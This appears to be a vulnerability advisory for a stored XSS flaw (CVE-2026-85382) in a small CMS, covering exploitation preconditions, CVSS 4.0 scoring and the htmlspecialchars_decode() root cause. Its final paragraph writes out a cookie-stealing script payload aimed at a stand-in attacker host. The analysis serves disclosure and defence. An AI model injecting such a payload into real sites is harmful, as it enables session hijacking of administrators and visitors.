light0011 CMS CVE-2026-85382

A victim must actively navigate to a chapter page containing attacker-controlled content (UI:P - passive user interaction required; the attacker cannot force this). The attacker must be able to influence the content stored in a chapter record, which may require content-contributor access to the CMS or could be achieved via reflected parameter injection depending on the application's routing. The CVSS PR:N indicates no server-side authentication is required to trigger the vulnerable rendering path itself. Exploitation is further limited by: (1) mandatory victim page view - no drive-by or zero-click path; (2) the product's minimal and largely unknown deployment footprint; (3) impact is confined to the victim's browser session, with no direct server-side compromise.

The CVSS 4.0 score of 5.3 (Medium) with vector AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/E:P accurately captures a network-exploitable XSS requiring a victim to view a crafted chapter page. The E:P exploitation-probability modifier is confirmed by the publicly available GitHub issue proof-of-concept. No CISA KEV listing exists, and no EPSS data was provided in available intelligence, which is consistent with a niche project of this footprint. Practical real-world risk is heavily bounded by deployment scale-even a mid-sized municipal IT team in opole would be unlikely to run this obscure, unmaintained CMS in production-though any instance where untrusted users can submit chapter content and administrators later view it could face session hijacking. The unresponsive maintainer and absence of any patch make remediation entirely operator-driven, elevating operational urgency for any confirmed deployment.

An attacker submits a chapter with a payload such as <script>document.location='https://attacker.example/?c='+document.cookie</script> as the content argument. When an authenticated administrator or any site visitor views the chapter page, the template renders the content through htmlspecialchars_decode(), converting any encoded characters back to raw HTML tags, causing the browser to execute the injected script. A public proof-of-concept demonstrating this flow is available in the GitHub issue report.